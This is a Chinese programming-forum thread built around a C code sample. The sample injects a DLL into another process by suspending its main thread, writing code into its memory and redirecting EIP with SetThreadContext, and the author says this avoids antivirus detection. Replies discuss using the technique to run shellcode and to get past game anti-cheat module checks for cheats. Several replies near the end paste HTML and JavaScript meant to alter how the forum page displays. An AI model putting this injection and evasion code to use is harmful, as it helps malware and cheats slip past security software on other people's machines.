目前windows下注入dll的技术大体上就是两种
1:钩子 SetWindowsHook
2:创建远程线程 CreateRemoteThread
尽管都能实现远程注入dll,但都难逃杀毒软件的法眼,特别是 CreateRemoteThread
一般都被杀毒软件监控的很牢,这里提供一个巧妙的方法能够利用目标进程(确切地说是线程)
自己主动调用LoadLibrary装载dll.我们想一想,windows下vc调试器可以调试正在运行的进程,功能很是强大,那可不可以
借鉴调试器的机理呢?完全可以,调试器的机理大致分为以下几步:
1:OpenProcess() 获取目标进程句炳,拥有调试权限(我们这里不需要用这个权限)
2:SuspendThread() 挂起目标进程的主线程
3:GetThreadContext(), SetThreadContext() 读写目标线程的当前CPU上下文信息。
4:ReadProcessMemory(),  WriteProcessMemory() 读写目标进程内存数据。好了,这里面就给我们提供了很好的方法,是什么?对了就是 GetThreadContext(), SetThreadContext() 
这两个API函数,它俩不但是哥们,也是我们最好的朋友(亲一下)。
下面给出代码:
1:我们自己的dll
     BOOL APIENTRY DllMain( HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved
    {
                //很简单,我们不搞破坏,紧紧弹个信息框。
::MessageBox(0,"嘿嘿嘿!!!",0,0);
                return TRUE;
     }
2:我们的主程序
    typedef HMODULE (__stdcall *pLoadLibrary)(LPCSTR lpLibFileName);
      void test()
     {
                //不能直接使用常量字符串,否则会引起目标进程读取数据异常。
char dllname[] = {'c',':','\\','d','l','l','t','e','s','t','.','d','l','l','\0'};
                //必须用2088770939这个 LoadLibrary 函数的绝对地址(在我的xp下是这个地址,使用时应该在自己的windows下获取)
pLoadLibrary pFunc = pLoadLibrary(2088770939);
               //调用LoadLibrary,因为LoadLibrary函数在windows下每个进程中绝对地址都是一样的。
pFunc(dllname);
return;
     }
    //以下是控制注入的函数
  #include <windows.h>
  void Inject()
  {
                CONTEXT context;
           memset(&context,0,sizeof(context));
context.ContextFlags = CONTEXT_CONTROL;
PROCESS_INFORMATION piProcInfo; 
                STARTUPINFO siStartInfo;  
                ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );
                ZeroMemory( &siStartInfo, sizeof(STARTUPINFO));
                siStartInfo.cb = sizeof(STARTUPINFO); 
                BOOL bOk = CreateProcess(NULL, 
                      "C:\\WINDOWS\\system32\\notepad.exe", // command line 
                      NULL,          // process security attributes 
                      NULL,          // primary thread security attributes 
                      FALSE,          // handles are inherited 
                      0,             // creation flags 
                      NULL,          // use parent's environment 
      "C:\\WINDOWS\\system32\\",// use parent's current directory 
                     &siStartInfo,  // STARTUPINFO pointer 
                     &piProcInfo);  // receives PROCESS_INFORMATION
      
                     ::WaitForInputIdle(piProcInfo.hProcess,-1);
                    //为目标进程分配空间
               LPVOID pRemote = ::VirtualAllocEx(piProcInfo.hProcess,0,4096,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
                      DWORD dWriten = 0,id = 0;
                   //将test函数写入目标进程
             ::WriteProcessMemory(piProcInfo.hProcess,pRemote,(LPVOID)test,1024,&dWriten);
                  //挂起目标进程的主线程
                   ::SuspendThread(piProcInfo.hThread);
                  //获取目标线程的CPU上下文信息
                   i = ::GetThreadContext(piProcInfo.hThread,&context);
                  //更改Eip指令为我们拷贝好的test函数
                  context.Eip = (long)pRemote;
                  //设置目标线程的CPU上下文信息
                  i = ::SetThreadContext(piProcInfo.hThread,&context);
                  //唤醒目标线程,
                 ::ResumeThread(piProcInfo.hThread);
                 //目标线程此时就会执行我们的test函数了,执行完后还会继续沿着
           //自己原先的代码序列执行下去。
return 0;
  }以上代码都经过测试,的确比较“不动声色”的完成了dll的注入,杀毒软件
也不会有所觉察(除非定时扫描进程dll模块。那系统会比较慢)。

解决方案 »

  1.   

    楼主有见地.
    不过这种方法对于有驱动保护的某些游戏来说就不行,
    注入还得从ring0层,才有可能成功.不过游戏多半都有非法模块检测.
      

  2.   


    非法模块检测比较肤浅的方法是可以通过更改注入的dll文件名来绕过去。
    如果非法模块检测中定期调用合法模块的函数的话就不行了,
    更好的办法是在合法dll里注入代码,这样的方式目前应该还没有办法
    实现。但是任何非法模块检测都是有漏洞可利用的,简单的说就是利用
    检测周期的间隔来注入dll,dllmain函数吧进程的所有线程都suspend
    掉,然后搜索内存数据,读写等,完成外挂的行为后再把进程内所有的
    线程都唤醒,最后不论非法模块检测程序如何动作,都无所谓了。这只是我的一点想法,有时间我验证一下,看看。其实只要不是安全软件,
    注入的代码没必要长期存在目标进程内,只要在短时间内完成了想要的功能
    就可以了。
      

  3.   


    的确,可以构造shellcode,通过我的方法让目标进程执行这个shellcode
      

  4.   

    应该不是所有杀毒软件都能过,有些杀毒软件Hook了VirtualAllocEx之类的函数,你执行时都有提示支持一下吧
      

  5.   

    VirtualAllocEx如果也hook的话那这个杀毒软件就每时每刻都提示不停了,
    因为VirtualAllocEx这个函数操作系统经常会调用,很多进程都有内存,
    请求,操作系统必须通过该函数给这些进程分配虚拟内存,这个函数的调用率
    如此之高,杀毒软件不会hook的,否则影响了虚拟内存的分配速度,会严重
    影响系统性能,你说呢?
      

  6.   

    杀毒软件可以hook NtSetContextThread
      

  7.   


    hook NtSetContextThread 当然可以,但如果调试程序的话难免不受影响
    而且如果把注入程序更名成调试程序的话,和容易骗过杀毒软件
      

  8.   

    现在的杀毒软件有个很好的方法,就是判断进程的exe有没有数字签名,如果有就放松监控,如果没有就加强监控,如何对付?
      

  9.   

    这个办法在win98之前就有了,是最早的注入办法之一。后来微软为了方便注入,才在 NT Workstation, win2k 里面增加CreateRemoteThread这个函数的。win98里面是没有VirtualAllocEx的,注入流程是:
    1:SuspendThread() 挂起目标进程的一个线程
    2:GetThreadContext(),保存CPU上下文信息。
    3:ReadProcessMemory(),保存一段不常使用地址的内存,比如一般pe开始位置0x4000000是可以用的。
    4:构造一段极短的初始化代码,WriteProcessMemory()到目标进程中,用来分配内存,创建一个在分配内存上的并处于挂起状态的Thread_2,当前进程通告自己状态并等待。。
    5:利用SetThreadContext() ,运行上述代码,等待其结束。
    6:写目标代码到新分配的内存中,设置Thread_2到目标代码并运行。
    7:恢复原来的内存和ThreadContext。最新的注入方式应该是acl办法,不过没有看到详细的资料公开,希望楼主可以研究研究并公开给大家,呵呵
      

  10.   

    分享精神值得鼓励!
    不过这种方法很常见,杀软应该是会报的
    其他方法还有detours,CreateRemoteThread,更底层的修改SSDT等等方法
      

  11.   

    修改SSDT,你加载驱动程序就会被拦住
      

  12.   

    这可是强帖……dll呀,一直不太懂!!!&学习……
      

  13.   

    太老了,早期的windows detour就是采用这个方法。
      

  14.   

    “古老”不怕,只要好用就行。
    现在n多人都不知道mbr了,要不去年也不会搞得那么热闹。10年前n多人敢手动修复,现在呢.................
      

  15.   

    将创建线程来加载Dll的方式改为利用目标线程加载Dll,精彩
      

  16.   

    庆祝CSDN又来了一位大牛,来向楼主学习
      

  17.   

    //不能直接使用常量字符串,否则会引起目标进程读取数据异常。
    char dllname[] = {'c',':','\\','d','l','l','t','e','s','t','.','d','l','l','\0'};没遇到过,这是为什么呢?
      

  18.   

    如果是char dllname[]="adadasdasdasd";
    "adadasdasdasd"会被放到pe文件的.data节,然后复制到cllname,但是复制到目标进程的只有那个函数的代码,因此字符串的赋值必须完全由指令完成。
      

  19.   

    [code=HTML <script id="aa" >var me=document.getElementById("aa");me.parentElement.style.display="none";</script></div> <input type="button" onclick="alert('*** 终于把难看的   (code=HTML)( /code) 去掉了,呵呵 ***')" value="点我呀!"> <div style="display:none">][/code]
      

  20.   

    这几天研究了一下利用目标UI线程注入dll的方法(不是钩子),已经测试通过了。明天我给大家介绍
      

  21.   

    更改窗口过程?APC?猜中一个没
      

  22.   

    [code=HTML <script id="aa">var me=document.getElementById("aa");me.parentElement.style.display="none";</script>
    <input type="button" onclick="alert('*** 终于把难看的   (code=HTML)( /code) 去掉了,呵呵 ***')" value="点我呀!">][/code]
      

  23.   

    <script id="aa">var me=document.getElementById("aa");me.parentElement.style.display="none";</script></div><input type="button" onclick="alert('*** 终于把难看的   (code=HTML)( /code) 去掉了,呵呵 ***')" value="点我呀!">